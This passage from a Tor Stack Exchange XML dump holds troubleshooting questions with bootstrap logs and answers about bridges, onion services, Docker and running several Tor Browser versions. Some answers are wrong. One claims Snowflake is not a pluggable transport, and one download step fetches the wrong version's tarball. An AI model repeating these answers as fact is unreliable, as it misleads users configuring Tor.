IPv4 and an IPv6 address.  Will prefer using its IPv4 address (178.254.22.186:11137) based on the configured Bridge address.&#xA;2/17/22, 16:50:23.158 [NOTICE] Bridge 'amatista059' has both an IPv4 and an IPv6 address.  Will prefer using its IPv4 address (142.47.92.59:9100) based on the configured Bridge address.&#xA;2/17/22, 16:50:23.158 [NOTICE] Bootstrapped 5% (conn): Connecting to a relay&#xA;2/17/22, 16:50:23.158 [NOTICE] We'd like to launch a circuit to handle a connection, but we already have 32 general-purpose client circuits pending. Waiting until some finish.&#xA;2/17/22, 16:50:25.481 [WARN] Problem bootstrapping. Stuck at 5% (conn): Connecting to a relay. (Connection refused [WSAECONNREFUSED ]; CONNECTREFUSED; count 10; recommendation warn; host 742425F73781A5A50932C09EEA8A5A596995217E at 140.78.100.17:8443)&#xA;2/17/22, 16:50:25.481 [WARN] 9 connections have failed:&#xA;2/17/22, 16:50:25.481 [WARN] 9 connections died in state connect()ing with SSL state (No SSL object)&#xA;2/17/22, 16:50:25.482 [WARN] Problem bootstrapping. Stuck at 5% (conn): Connecting to a relay. (Connection refused [WSAECONNREFUSED ]; CONNECTREFUSED; count 11; recommendation warn; host 1388AB40396F57ED95BB6036E6504CE8E0F622B8 at 84.146.226.180:9001)&#xA;2/17/22, 16:50:25.482 [WARN] 10 connections have failed:&#xA;2/17/22, 16:50:25.482 [WARN] 10 connections died in state connect()ing with SSL state (No SSL object)&#xA;2/17/22, 16:50:25.522 [NOTICE] Closing no-longer-configured Socks listener on 127.0.0.1:9150&#xA;2/17/22, 16:50:25.522 [NOTICE] DisableNetwork is set. Tor will not make or accept non-control network connections. Shutting down all existing connections.&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;" OwnerUserId="34149" LastActivityDate="2022-04-02T03:02:45.550" Title="Can't connect to Tor network (No SSL object)" Tags="|tor-browser-bundle|windows|connection|" AnswerCount="1" CommentCount="0" ContentLicense="CC BY-SA 4.0" />
  <row Id="23056" PostTypeId="2" ParentId="23053" CreationDate="2022-02-18T18:30:17.783" Score="0" Body="&lt;p&gt;First of all, this isn't so much a Tor question as it is a Docker question, but I'll try to help you out.&lt;/p&gt;&#xA;&lt;p&gt;Secondly, this has already been done a bunch of times. Check out &lt;a href=&quot;https://hub.docker.com&quot; rel=&quot;nofollow noreferrer&quot;&gt;hub.docker.com&lt;/a&gt; to see how other people do what you're asking. I particularly like &lt;a href=&quot;https://github.com/nikosch86/docker-onionshare/blob/master/Dockerfile&quot; rel=&quot;nofollow noreferrer&quot;&gt;this Dockerfile&lt;/a&gt; because it does everything very simply.&lt;/p&gt;&#xA;&lt;p&gt;Finally, here is how I create images for the first time. On your raspberry pi, run &lt;code&gt;docker run -it debian bash&lt;/code&gt; Replace &amp;quot;debian&amp;quot; with your distro of choice. After you run this, you will create a new container and you will be in that container as root. Follow the directions for building tor here and note where the &lt;code&gt;make install&lt;/code&gt; put everything.&lt;/p&gt;&#xA;&lt;p&gt;Run the &lt;code&gt;history&lt;/code&gt; command and save the output someplace and then type &lt;code&gt;exit&lt;/code&gt;.&lt;/p&gt;&#xA;&lt;p&gt;In your Dockerfile, use the commands that you used to build inside the container that you saved from history. Again, look at the link above for an example on how that works. This should be the best way to get started building your own Dockerfile since you're new.&lt;/p&gt;&#xA;&lt;p&gt;If you need help optimizing your Dockerfile, then post on StackOverflow since this isn't the place for Docker help.&lt;/p&gt;&#xA;" OwnerUserId="23661" LastActivityDate="2022-02-18T18:30:17.783" CommentCount="0" ContentLicense="CC BY-SA 4.0" />
  <row Id="23057" PostTypeId="1" CreationDate="2022-02-19T14:29:46.793" Score="1" ViewCount="103" Body="&lt;p&gt;Can we use tor source code for running a network like tor ?&lt;/p&gt;&#xA;" OwnerUserId="34154" LastActivityDate="2022-04-02T05:03:55.330" Title="Can we self-host a network like tor with tor source code?" Tags="|source-code|" AnswerCount="2" CommentCount="0" ContentLicense="CC BY-SA 4.0" />
  <row Id="23058" PostTypeId="2" ParentId="23057" CreationDate="2022-02-19T18:30:27.350" Score="0" Body="&lt;p&gt;Yes, tor is licensed under a &lt;a href=&quot;https://github.com/torproject/tor/blob/main/LICENSE&quot; rel=&quot;nofollow noreferrer&quot;&gt;3-clause BSD license&lt;/a&gt;. That means that you can do what you want with it including selling it as long as you follow the terms of the license. Here is a guide to setting up your own &lt;a href=&quot;https://2019.www.torproject.org/docs/faq.html.en#PrivateTorNetwork&quot; rel=&quot;nofollow noreferrer&quot;&gt;tor network&lt;/a&gt;.&lt;/p&gt;&#xA;" OwnerUserId="23661" LastActivityDate="2022-02-19T18:30:27.350" CommentCount="0" ContentLicense="CC BY-SA 4.0" />
  <row Id="23060" PostTypeId="2" ParentId="21570" CreationDate="2022-02-20T22:42:15.430" Score="1" Body="&lt;p&gt;Tails includes 'Onionshare' - to deliver a static website you can launch onionshare, select 'publish website' point to the root directory that holds your website and that is 'job done'&lt;/p&gt;&#xA;" OwnerUserId="33827" LastActivityDate="2022-02-20T22:42:15.430" CommentCount="0" ContentLicense="CC BY-SA 4.0" />
  <row Id="23061" PostTypeId="2" ParentId="22824" CreationDate="2022-02-23T07:10:24.963" Score="0" Body="&lt;p&gt;My bad the response was actually just end of stream and not &amp;quot;?&amp;quot; character.&lt;/p&gt;&#xA;" OwnerUserId="32242" LastActivityDate="2022-02-23T07:10:24.963" CommentCount="0" ContentLicense="CC BY-SA 4.0" />
  <row Id="23062" PostTypeId="2" ParentId="20854" CreationDate="2022-02-23T19:59:44.860" Score="0" Body="&lt;p&gt;Looks like the only way you can achieve this is via &lt;em&gt;separate&lt;/em&gt; router with Tor and some firewall rules. Closed-source solutions like Synology are almost always are just a pain in the ass when it comes to fine-grained controol &lt;strong&gt;regardless&lt;/strong&gt; of their internal interfaces like Web GUI. You have to use a router, you must - actually&lt;/p&gt;&#xA;" OwnerUserId="9291" LastActivityDate="2022-02-23T19:59:44.860" CommentCount="0" ContentLicense="CC BY-SA 4.0" />
  <row Id="23063" PostTypeId="2" ParentId="21962" CreationDate="2022-02-23T20:25:05.020" Score="0" Body="&lt;p&gt;Well, it's just as simple as it sounds! Tor - with it's config  is, basically, - &lt;strong&gt;is&lt;/strong&gt; a reverse proxy by itself! So you need to use NGinx for some non-straightforward stuff, or - just a TCP port forwarder like &lt;code&gt;bounce&lt;/code&gt; for a simple one. There's nothing extra! Feel free to drop me a line if you have any extra questions!&lt;/p&gt;&#xA;" OwnerUserId="9291" LastActivityDate="2022-02-23T20:25:05.020" CommentCount="0" ContentLicense="CC BY-SA 4.0" />
  <row Id="23064" PostTypeId="1" CreationDate="2022-02-27T06:30:02.890" Score="0" ViewCount="2651" Body="&lt;p&gt;Windows 10 LTSC, Browser 11.5a4 (other versions have the same problem), time is synchronized, no antivirus, the firewall is disabled temporarily.&lt;/p&gt;&#xA;&lt;p&gt;Log:&lt;/p&gt;&#xA;&lt;pre&gt;&lt;code&gt;2/26/22, 19:55:40.740 [NOTICE] DisableNetwork is set. Tor will not make or accept non-control network connections. Shutting down all existing connections.&#xA;2/26/22, 19:55:47.796 [NOTICE] Opening Socks listener on 127.0.0.1:9150&#xA;2/26/22, 19:55:47.796 [NOTICE] Opened Socks listener connection (ready) on 127.0.0.1:9150&#xA;2/26/22, 19:55:47.966 [NOTICE] Application request when we haven't used client functionality lately. Optimistically trying directory fetches again.&#xA;2/26/22, 19:55:48.969 [NOTICE] Bootstrapped 5% (conn): Connecting to a relay&#xA;2/26/22, 19:57:13.136 [WARN] Problem bootstrapping. Stuck at 5% (conn): Connecting to a relay. (Connection timed out [WSAETIMEDOUT ]; TIMEOUT; count 10; recommendation warn; host D3DA819E09D220BC8AA1C6C15B960DFD77707EFA at 73.116.0.92:9001)&#xA;2/26/22, 19:57:13.137 [WARN] 9 connections have failed: &#xA;2/26/22, 19:57:13.137 [WARN] 9 connections died in state connect()ing with SSL state (No SSL object)&#xA;2/26/22, 19:57:13.182 [NOTICE] Closing no-longer-configured Socks listener on 127.0.0.1:9150&#xA;2/26/22, 19:57:13.182 [NOTICE] DisableNetwork is set. Tor will not make or accept non-control network connections. Shutting down all existing connections.&#xA;2/26/22, 19:57:13.370 [NOTICE] Delaying directory fetches: DisableNetwork is set.&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&lt;p&gt;Log when using requested bridge:&lt;/p&gt;&#xA;&lt;pre&gt;&lt;code&gt;2/26/22, 20:29:09.915 [NOTICE] DisableNetwork is set. Tor will not make or accept non-control network connections. Shutting down all existing connections.&#xA;2/26/22, 20:29:28.844 [NOTICE] Opening Socks listener on 127.0.0.1:9150&#xA;2/26/22, 20:29:28.845 [NOTICE] Opened Socks listener connection (ready) on 127.0.0.1:9150&#xA;2/26/22, 20:29:28.845 [WARN] CreateProcessA() failed: The system cannot find the file specified.&#xA;2/26/22, 20:29:28.845 [WARN] Pluggable Transport process terminated with status code 0&#xA;2/26/22, 20:29:28.845 [WARN] Failed to start process: (null)     &#xA;2/26/22, 20:29:28.845 [WARN] Managed proxy at 'TorBrowser\Tor\PluggableTransports\obfs4proxy.exe' failed at launch.&#xA;2/26/22, 20:29:28.864 [NOTICE] Application request when we haven't used client functionality lately. Optimistically trying known bridges again.&#xA;2/26/22, 20:29:29.113 [WARN] Can't use bridge at [scrubbed]: there is no configured transport called &amp;quot;obfs4&amp;quot;. ...&#xA;2/26/22, 20:29:30.119 [WARN] Can't use bridge at [scrubbed]: there is no configured transport called &amp;quot;obfs4&amp;quot;.&#xA;2/26/22, 20:30:57.541 [NOTICE] Application request when we haven't used client functionality lately. Optimistically trying known bridges again.&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&lt;p&gt;Log when using snowflake:&lt;/p&gt;&#xA;&lt;pre&gt;&lt;code&gt;2/26/22, 20:12:33.629 [NOTICE] DisableNetwork is set. Tor will not make or accept non-control network connections. Shutting down all existing connections.&#xA;2/26/22, 20:12:39.453 [NOTICE] Opening Socks listener on 127.0.0.1:9150&#xA;2/26/22, 20:12:39.453 [NOTICE] Opened Socks listener connection (ready) on 127.0.0.1:9150&#xA;2/26/22, 20:12:39.454 [WARN] CreateProcessA() failed: The system cannot find the file specified.&#xA;2/26/22, 20:12:39.454 [WARN] Pluggable Transport process terminated with status code 0&#xA;2/26/22, 20:12:39.454 [WARN] Failed to start process: (null)&#xA;2/26/22, 20:12:39.454 [WARN] Managed proxy at 'TorBrowser\Tor\PluggableTransports\snowflake-client.exe' failed at launch.&#xA;2/26/22, 20:12:39.697 [WARN] Can't use bridge at [scrubbed]: there is no configured transport called &amp;quot;snowflake&amp;quot;.&#xA;... [WARN] Can't use bridge at [scrubbed]: there is no configured transport called &amp;quot;snowflake&amp;quot;.&#xA;2/26/22, 20:14:10.214 [NOTICE] Application request when we haven't used client functionality lately. Optimistically trying&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&lt;p&gt;known bridges again.&lt;/p&gt;&#xA;&lt;p&gt;Thank you in advance.&lt;/p&gt;&#xA;" OwnerUserId="34191" LastEditorUserId="9291" LastEditDate="2022-03-03T00:52:57.137" LastActivityDate="2023-04-02T20:37:16.660" Title="Can't connect to the network" Tags="|tor-browser-bundle|configuration|windows|help|connection|" AnswerCount="1" CommentCount="2" ContentLicense="CC BY-SA 4.0" />
  <row Id="23066" PostTypeId="1" CreationDate="2022-03-02T13:01:07.850" Score="1" ViewCount="954" Body="&lt;p&gt;So, im kind of new on this, I'm using Tor with Tails. I cannot acces to onion sites using links such as:&#xA;[facebookcorewwwi.onion] (Unable to connect Firefox can’t establish a connection to the server at facebookcorewwwi.onion) wich i understand should work just fine, I only could acces when using this other link:&#xA;[facebookwkhpilnemxj7asaniu7vnjjbiltxjqhye3mhbshg7kx5tfyd.onion]&#xA;Am I doing something wrong?&lt;/p&gt;&#xA;" OwnerUserId="34209" LastEditorUserId="88" LastEditDate="2023-04-03T19:56:33.417" LastActivityDate="2023-04-03T20:03:11.450" Title="Can't acces onion sites with some links" Tags="|onion-services|facebook|onionaddress|" AnswerCount="3" CommentCount="1" ContentLicense="CC BY-SA 4.0" />
  <row Id="23067" PostTypeId="1" CreationDate="2022-03-02T16:07:03.993" Score="0" ViewCount="311" Body="&lt;p&gt;I've been trying for hours to use Tor, but it always closes briefly after opening. I've checked through task manager and it seems to actually launch for a moment. I've already set it to run as Administrator. The Windows version in cmd gave me a blank line, so I've installed the Linux instead and used the --verbose option, and it tells me &amp;quot;Cannot load XPCOM&amp;quot; (output shown below). I've found online that Webroot's the culprit, but I don't &lt;em&gt;have&lt;/em&gt; Webroot, nor have I downloaded any antivirus software. I've even tried turning off some Windows Defender features, but I didn't notice any difference.&lt;/p&gt;&#xA;&lt;pre&gt;&lt;code&gt;$ ./start-tor-browser.desktop --verbose&#xA;&#xA;Launching './Browser/start-tor-browser --detach --verbose'...&#xA;XPCOMGlueLoad error for file /mnt/c/Users/username/Desktop/tor-browser_en-US/Browser/libxul.so:&#xA;libdbus-glib-1.so.2: cannot open shared object file: No such file or directory&#xA;Couldn't load XPCOM.&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&lt;p&gt;Update: I've tried using Brave instead. It worked for about 5 seconds, then stopped. Now, each time I launch it, I get the same exact issue as with Tor. I've tried turning Windows Defender off and running it as Administrator just like before, nothing changed.&lt;/p&gt;&#xA;&lt;p&gt;Edit: I should probably mention that firefox doesn't work either.&lt;/p&gt;&#xA;" OwnerUserId="34210" LastEditorUserId="34210" LastEditDate="2022-03-03T16:57:25.533" LastActivityDate="2022-05-05T00:12:20.697" Title="Cannot open Tor without it closing immediately" Tags="|tor-browser-bundle|brave|" AnswerCount="1" CommentCount="0" ContentLicense="CC BY-SA 4.0" />
  <row Id="23068" PostTypeId="2" ParentId="20397" CreationDate="2022-03-02T23:50:17.750" Score="0" Body="&lt;p&gt;The problem &lt;strong&gt;is&lt;/strong&gt; that you do need a &lt;em&gt;separate&lt;/em&gt; users for your Tor instance and NGinX. You have a &lt;code&gt;tor&lt;/code&gt; or &lt;code&gt;debian-tor&lt;/code&gt; user for the Tor running - and all the permissions must and has to be 700, nothing else. You need to do a &lt;code&gt;chown&lt;/code&gt; for &lt;strong&gt;both&lt;/strong&gt; tor's user &lt;strong&gt;and&lt;/strong&gt; group and make them 700. It will not prevent Tor from opening the listening port that is available for NGinX. Check carefully how you're launching Tor &lt;strong&gt;and&lt;/strong&gt; it's auto-start script &lt;strong&gt;with&lt;/strong&gt; it's actual config. Feel free to drop me a line if you need any further help!&lt;/p&gt;&#xA;" OwnerUserId="9291" LastActivityDate="2022-03-02T23:50:17.750" CommentCount="0" ContentLicense="CC BY-SA 4.0" />
  <row Id="23069" PostTypeId="2" ParentId="23052" CreationDate="2022-03-02T23:54:44.850" Score="1" Body="&lt;p&gt;You need to enable the service like that &lt;code&gt;systemctl enable tor&lt;/code&gt; - so it will be automatically fire up when the system is rebooted e.t.c.&lt;/p&gt;&#xA;" OwnerUserId="9291" LastActivityDate="2022-03-02T23:54:44.850" CommentCount="0" ContentLicense="CC BY-SA 4.0" />
  <row Id="23070" PostTypeId="2" ParentId="23064" CreationDate="2022-03-03T01:08:09.243" Score="0" Body="&lt;p&gt;Well, speaking the things shortly - you've not understood the things under the hood and tried to ram them into the workflow. Now - in details.&lt;/p&gt;&#xA;&lt;ol&gt;&#xA;&lt;li&gt;A Snowflake is &lt;strong&gt;not&lt;/strong&gt; a pluggable transport &lt;em&gt;itself&lt;/em&gt;, it's a browser plugin allowing people who are &lt;strong&gt;not&lt;/strong&gt; censored to share their connection. There's no specific &amp;quot;snowflake transport&amp;quot;&lt;/li&gt;&#xA;&lt;li&gt;Your OBFS4 pluggable transport binary is not working - the error logs are clearly stating that. Grab a source and compile it by hand in GoLang locally - it is as easy as it sounds.&lt;/li&gt;&#xA;&lt;li&gt;Using any spaces in directory names confuses Tor, so just make them DOS-like, I'm using it like &lt;code&gt;c:\\Tor\\...&lt;/code&gt; it &lt;em&gt;just works&lt;/em&gt;&lt;/li&gt;&#xA;&lt;li&gt;Set a &lt;code&gt;LogLevel&lt;/code&gt; to &lt;code&gt;debug&lt;/code&gt; - yes, it produces a lot of text, but it really helps to troubleshoot things&lt;/li&gt;&#xA;&lt;/ol&gt;&#xA;&lt;p&gt;If you need any further help - just drop me a line!&lt;/p&gt;&#xA;" OwnerUserId="9291" LastActivityDate="2022-03-03T01:08:09.243" CommentCount="0" ContentLicense="CC BY-SA 4.0" />
  <row Id="23071" PostTypeId="2" ParentId="23057" CreationDate="2022-03-03T01:10:18.850" Score="0" Body="&lt;p&gt;yes, and there're a lot of scripts in launching it in Docker'ed environment. No problems here: even the Directories are using the &lt;strong&gt;very same&lt;/strong&gt; code base, just custom &lt;code&gt;torrc&lt;/code&gt; configs&lt;/p&gt;&#xA;" OwnerUserId="9291" LastActivityDate="2022-03-03T01:10:18.850" CommentCount="0" ContentLicense="CC BY-SA 4.0" />
  <row Id="23072" PostTypeId="2" ParentId="23066" CreationDate="2022-03-03T01:16:01.197" Score="1" Body="&lt;p&gt;You're trying to reach an obsoleted V2 hidden service - they're not working any more&lt;/p&gt;&#xA;" OwnerUserId="9291" LastActivityDate="2022-03-03T01:16:01.197" CommentCount="0" ContentLicense="CC BY-SA 4.0" />
  <row Id="23073" PostTypeId="2" ParentId="23055" CreationDate="2022-03-03T01:17:21.683" Score="1" Body="&lt;p&gt;you're behind a DPI - look at your logs. Use obfuscation like OBFS4&lt;/p&gt;&#xA;" OwnerUserId="9291" LastActivityDate="2022-03-03T01:17:21.683" CommentCount="0" ContentLicense="CC BY-SA 4.0" />
  <row Id="23075" PostTypeId="2" ParentId="23052" CreationDate="2022-03-04T14:38:58.000" Score="0" Body="&lt;blockquote&gt;&#xA;&lt;p&gt;but I want to use tor without root. How can I do that ? I don't want&#xA;to use official tor-browser&lt;/p&gt;&#xA;&lt;/blockquote&gt;&#xA;&lt;p&gt;You're not, you're starting the systemd service with root.&lt;/p&gt;&#xA;&lt;p&gt;Take a look at your service file. Here's what mine looks like:&lt;/p&gt;&#xA;&lt;pre&gt;&lt;code&gt;    &amp;gt; cat /usr/lib/systemd/system/tor.service&#xA;&amp;lt;snip&amp;gt;&#xA;    ExecStart=/usr/bin/tor --runasdaemon 0 --defaults-torrc /usr/share/tor/defaults-torrc -f /etc/tor/torrc --user tor --hush&#xA;&amp;lt;/snip&amp;gt;&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&lt;p&gt;You can see in the ExecStart line, the tor binary is being run as the &amp;quot;tor&amp;quot; user, not as root.&lt;/p&gt;&#xA;" OwnerUserId="23661" LastActivityDate="2022-03-04T14:38:58.000" CommentCount="0" ContentLicense="CC BY-SA 4.0" />
  <row Id="23080" PostTypeId="1" CreationDate="2022-03-09T20:35:41.303" Score="0" ViewCount="169" Body="&lt;p&gt;When I access sites on the onion network, I get the following e&lt;strong&gt;rror: [warn] Onion address [scrubbed] requested from a port with .onion disabled&lt;/strong&gt; how do I solve this problem?&lt;/p&gt;&#xA;" OwnerUserId="34260" LastActivityDate="2022-04-11T06:06:50.670" Title="Error accessing onion service websites" Tags="|configuration|onion-routing|network-configuration|" AnswerCount="1" CommentCount="0" ContentLicense="CC BY-SA 4.0" />
  <row Id="23081" PostTypeId="1" AcceptedAnswerId="23082" CreationDate="2022-03-12T00:13:39.720" Score="0" ViewCount="175" Body="&lt;p&gt;I have set up a tor relay to aid people in countries without free press. How can I limit the use to such countries (e.g. by country code) and prevent the use of my bandwith for users from all other countries?&lt;/p&gt;&#xA;" OwnerUserId="34288" LastActivityDate="2022-03-15T06:26:53.523" Title="How can I limit use of my entry node to certain countries?" Tags="|bridge|node|entry|" AnswerCount="1" CommentCount="0" ContentLicense="CC BY-SA 4.0" />
  <row Id="23082" PostTypeId="2" ParentId="23081" CreationDate="2022-03-12T04:50:53.237" Score="1" Body="&lt;p&gt;As an anonymity network, relays don't learn geographical information of Tor clients (&lt;em&gt;edit:&lt;/em&gt; in the general case) so this isn't possible. You could instead run a private bridge, and give out the bridge address to people in those countries (and possibly add a firewall rule to block IP addresses outside of your intended countries).&lt;/p&gt;&#xA;" OwnerUserId="24966" LastEditorUserId="24966" LastEditDate="2022-03-15T06:26:53.523" LastActivityDate="2022-03-15T06:26:53.523" CommentCount="4" ContentLicense="CC BY-SA 4.0" />
  <row Id="23083" PostTypeId="2" ParentId="23080" CreationDate="2022-03-12T04:58:41.340" Score="0" Body="&lt;p&gt;Your tor proxy's socks port is configured with the &lt;code&gt;NoOnionTraffic&lt;/code&gt; option (search for &lt;code&gt;NoOnionTraffic&lt;/code&gt; in &lt;a href=&quot;https://manpages.debian.org/experimental/tor/tor.1.en.html&quot; rel=&quot;nofollow noreferrer&quot;&gt;tor's man page&lt;/a&gt;). You need to remove this option in order to visit onion websites.&lt;/p&gt;&#xA;" OwnerUserId="24966" LastActivityDate="2022-03-12T04:58:41.340" CommentCount="0" ContentLicense="CC BY-SA 4.0" />
  <row Id="23084" PostTypeId="1" CreationDate="2022-03-12T12:40:06.290" Score="1" ViewCount="173" Body="&lt;p&gt;I created a Tor Bridge in my RPi and forwarded the Ports to it as required.&#xA;The connections are working fine but only with IPv4.&#xA;In the nyx log I can see that it tries to discover the IPv6 but comes up with a &amp;quot;wrong&amp;quot; one.&#xA;My router shows a different public IPv6 for this device and nyx comes up with an error trying to connect to the &amp;quot;wrong&amp;quot; one.&#xA;How can I enter the correct IPv6 in my brdige configuration?&lt;/p&gt;&#xA;&lt;p&gt;in torrc i have this:&lt;/p&gt;&#xA;&lt;pre&gt;&lt;code&gt;ServerTransportListenAddr obfs4 [::]:&amp;lt;port&amp;gt;&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&lt;p&gt;Auto-discovered IPv6 address [xx:xx]:xx has not been found reachable.&lt;/p&gt;&#xA;" OwnerUserId="34291" LastEditorUserId="34291" LastEditDate="2022-03-12T20:20:36.310" LastActivityDate="2022-03-12T20:20:36.310" Title="TOR Bridge on RaspberryPi with IPv4 and IPv6" Tags="|linux|bridge|ipv6|" AnswerCount="0" CommentCount="1" ContentLicense="CC BY-SA 4.0" />
  <row Id="23086" PostTypeId="2" ParentId="21102" CreationDate="2022-03-13T16:03:08.353" Score="0" Body="&lt;p&gt;In my experiments, GitHub didn't seem to be blocking tor, but the tor browser. So experimenting with different exit nodes had no success, but using a regular Firefox with some minor addons like Adblock and tor as proxy worked fine.&lt;/p&gt;&#xA;&lt;p&gt;I tried to find out if the tor-browser-bundle blocks something in the network console and didn't find anything. The captcha provider GitHub got a usual request but returned an empty response when using tor-browser while it worked fine with a regular Firefox.&lt;/p&gt;&#xA;" OwnerUserId="34113" LastActivityDate="2022-03-13T16:03:08.353" CommentCount="0" ContentLicense="CC BY-SA 4.0" />
  <row Id="23087" PostTypeId="1" AcceptedAnswerId="23088" CreationDate="2022-03-14T10:09:53.120" Score="0" ViewCount="90" Body="&lt;p&gt;I am curious how Tor can prevent SYN flooding attacks? From my understanding for a TCP handshake first a SYN has to be sent to the receiver. So why is it not possible to spam various SYN requests over the TOR network, which are then not completed by an ACK after receiving the SYN-ACK from the receiver? What am I missing?&lt;/p&gt;&#xA;&lt;p&gt;&lt;a href=&quot;https://support.torproject.org/abuse/what-about-ddos/&quot; rel=&quot;nofollow noreferrer&quot;&gt;https://support.torproject.org/abuse/what-about-ddos/&lt;/a&gt;&lt;/p&gt;&#xA;&lt;p&gt;Thank you a lot in advance!&lt;/p&gt;&#xA;" OwnerUserId="34299" LastActivityDate="2022-03-14T14:13:58.933" Title="Prevention of SYN flooding" Tags="|security|" AnswerCount="1" CommentCount="0" FavoriteCount="0" ContentLicense="CC BY-SA 4.0" />
  <row Id="23088" PostTypeId="2" ParentId="23087" CreationDate="2022-03-14T14:13:58.933" Score="0" Body="&lt;p&gt;Tor anonymizes TCP connections by forwarding the stream data. It does not forward packets, and there is no way in Tor to send any specific packets. The exit relay always creates a normal TCP connection to this destination server, and once that connection is established, the exit relay will forward the circuit's stream data to that exit TCP connection.&lt;/p&gt;&#xA;" OwnerUserId="24966" LastActivityDate="2022-03-14T14:13:58.933" CommentCount="1" ContentLicense="CC BY-SA 4.0" />
  <row Id="23089" PostTypeId="1" CreationDate="2022-03-15T01:50:43.220" Score="0" ViewCount="161" Body="&lt;p&gt;Can someone give me the TOR web address for logging into Yahoo Mail and Gmail?&#xA;Also, how much does opening either of these using TOR and a VPN anonymize your personal info, IP, etc?&#xA;Thanks Beforehand...&lt;/p&gt;&#xA;" OwnerUserId="34302" LastActivityDate="2022-03-15T02:27:16.333" Title="Accessing Yahoo Mail and GMail using TOR" Tags="|address|login|" AnswerCount="1" CommentCount="0" ContentLicense="CC BY-SA 4.0" />
  <row Id="23090" PostTypeId="2" ParentId="23089" CreationDate="2022-03-15T02:27:16.333" Score="0" Body="&lt;p&gt;Your question is just about the one to be literally &lt;strong&gt;yelled out&lt;/strong&gt; about. Sadly, there's no ones :( In My humble Opinion every system must have a Tor address for an alternative routing, and - even more - the setup is as simple as every school kid can do. But - to support by fact - the censorship, it is not done. Yes, I'm not blaming or advocating someone, but Facebook an recently a Twitter - &lt;strong&gt;do&lt;/strong&gt; have it, but not any more so far. Banning Tor exits &lt;em&gt;just for being an exit nodes&lt;/em&gt; is a lame excuses for a butt-handed system administrators, but it does happens&lt;/p&gt;&#xA;" OwnerUserId="9291" LastActivityDate="2022-03-15T02:27:16.333" CommentCount="0" ContentLicense="CC BY-SA 4.0" />
  <row Id="23098" PostTypeId="1" CreationDate="2022-03-20T09:10:04.077" Score="0" ViewCount="1651" Body="&lt;p&gt;I want to create an anonymous Google account using Tor and a free SMS receiving service. However, when I use Tor, I can't get phone number verification. What should I do?&lt;/p&gt;&#xA;" OwnerUserId="34319" LastEditorUserId="34403" LastEditDate="2022-04-23T22:09:02.060" LastActivityDate="2022-04-23T22:09:02.060" Title="How to create an anonymous Google account using TorBrowser" Tags="|google|verification|" AnswerCount="0" CommentCount="1" ContentLicense="CC BY-SA 4.0" />
  <row Id="23104" PostTypeId="2" ParentId="20374" CreationDate="2022-03-24T21:41:31.790" Score="0" Body="&lt;p&gt;Yes, you can.&lt;/p&gt;&#xA;&lt;p&gt;Download the tarball, extract it and put it in a different folder.&lt;/p&gt;&#xA;&lt;p&gt;Let's say I want to use 11.0.9 and 11.0.8 versions.&lt;/p&gt;&#xA;&lt;p&gt;the 11.0.9 version:&lt;/p&gt;&#xA;&lt;pre&gt;&lt;code&gt;wget -c https://www.torproject.org/dist/torbrowser/11.0.9/tor-browser-linux64-11.0.9_en-US.tar.xz&#xA;tar -xvf tor-browser-linux64-11.0.9_en-US.tar.xz&#xA;mv tor-browser_en-US tor-browser_en-US_11.0.9&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&lt;p&gt;and the 11.0.8 version:&lt;/p&gt;&#xA;&lt;pre&gt;&lt;code&gt;wget -c https://www.torproject.org/dist/torbrowser/11.0.9/tor-browser-linux64-11.0.9_en-US.tar.xz&#xA;tar -xvf tor-browser-linux64-11.0.8_en-US.tar.xz&#xA;mv tor-browser_en-US tor-browser_en-US_11.0.8&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&lt;p&gt;to run any of them basically just run &lt;code&gt;start-tor-browser.desktop&lt;/code&gt; that found in each folder.&lt;/p&gt;&#xA;&lt;p&gt;And about the launcher, well, you can add one from the terminal:&lt;/p&gt;&#xA;&lt;p&gt;&lt;code&gt;./start-tor-browser.desktop --register app&lt;/code&gt;&lt;/p&gt;&#xA;&lt;p&gt;and for the next version all what you have to do is to duplicate the &lt;code&gt;~/.local/share/applications/start-tor-browser.desktop&lt;/code&gt;:&lt;/p&gt;&#xA;&lt;pre&gt;&lt;code&gt;cp ~/.local/share/applications/start-tor-browser.desktop ~/.local/share/applications/start-tor-browser_2.desktop&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&lt;p&gt;and now you edit &lt;code&gt;start-tor-browser_2.desktop&lt;/code&gt;:&lt;/p&gt;&#xA;&lt;ol&gt;&#xA;&lt;li&gt;&lt;p&gt;change the folder in the &lt;code&gt;Exec&lt;/code&gt; so it points to the other version&#xA;&lt;a href=&quot;https://i.stack.imgur.com/QnaPz.png&quot; rel=&quot;nofollow noreferrer&quot;&gt;&lt;img src=&quot;https://i.stack.imgur.com/QnaPz.png&quot; alt=&quot;enter image description here&quot; /&gt;&lt;/a&gt;&lt;/p&gt;&#xA;&lt;/li&gt;&#xA;&lt;li&gt;&lt;p&gt;rename the app so you can easily know which version you are using (optional though)&#xA;&lt;a href=&quot;https://i.stack.imgur.com/tu1IQ.png&quot; rel=&quot;nofollow noreferrer&quot;&gt;&lt;img src=&quot;https://i.stack.imgur.com/tu1IQ.png&quot; alt=&quot;enter image description here&quot; /&gt;&lt;/a&gt;&lt;/p&gt;&#xA;&lt;/li&gt;&#xA;&lt;/ol&gt;&#xA;&lt;p&gt;here is how it looks:&lt;/p&gt;&#xA;&lt;p&gt;&lt;a href=&quot;https://i.stack.imgur.com/TZtDn.png&quot; rel=&quot;nofollow noreferrer&quot;&gt;&lt;img src=&quot;https://i.stack.imgur.com/TZtDn.png&quot; alt=&quot;enter image description here&quot; /&gt;&lt;/a&gt;&lt;/p&gt;&#xA;&lt;p&gt;That's it, you can do the same to run as many versions of tor as you want to!&lt;/p&gt;&#xA;" OwnerUserId="34351" LastActivityDate="2022-03-24T21:41:31.790" CommentCount="0" ContentLicense="CC BY-SA 4.0" />
